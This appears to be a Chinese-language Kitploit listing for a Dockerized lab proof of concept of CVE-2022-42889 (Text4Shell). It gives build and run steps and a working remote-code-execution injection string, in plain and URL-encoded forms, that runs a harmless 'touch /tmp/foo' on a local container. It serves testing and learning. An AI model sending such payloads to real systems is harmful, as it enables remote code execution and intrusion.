Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-42889-text4shell-docker — 针对 CVE-2022-42889 Text4Shell 的 Docker 化 POC | Kitploit
工具/GitHubGitHub/karthikuj/cve-2022-42889-text4shell-docker
容器安全Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育
GitHubkarthikuj/cve-2022-42889-text4shell-docker

cve-2022-42889-text4shell-docker

针对 CVE-2022-42889 Text4Shell 的 Docker 化 POC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
76323年前Kitploit 审核通过

安装 Maven - maven-linux


  1. 安装 Maven 以创建胖 JAR 包
root@kitploit:~
mvn clean install
  1. Docker 构建
root@kitploit:~
docker build --tag=text4shell .
  1. Docker 运行
root@kitploit:~
docker run -p 80:8080 text4shell
  1. 测试应用
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. 可通过传递字符串 “${prefix:name}” 来进行攻击,其中前缀是上述查找:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. 您也可以尝试使用 dns 或 url 前缀。

  2. 获取容器 ID

root@kitploit:~
docker container ls
  1. 进入应用
root@kitploit:~
docker exec -it <container_id> bash
  1. 检查上述 RCE 是否成功(您应该会看到在 /tmp 目录下创建了一个名为 foo 的文件):
root@kitploit:~
ls /tmp/
  1. 停止容器
root@kitploit:~
docker container stop <container_id>
下载工具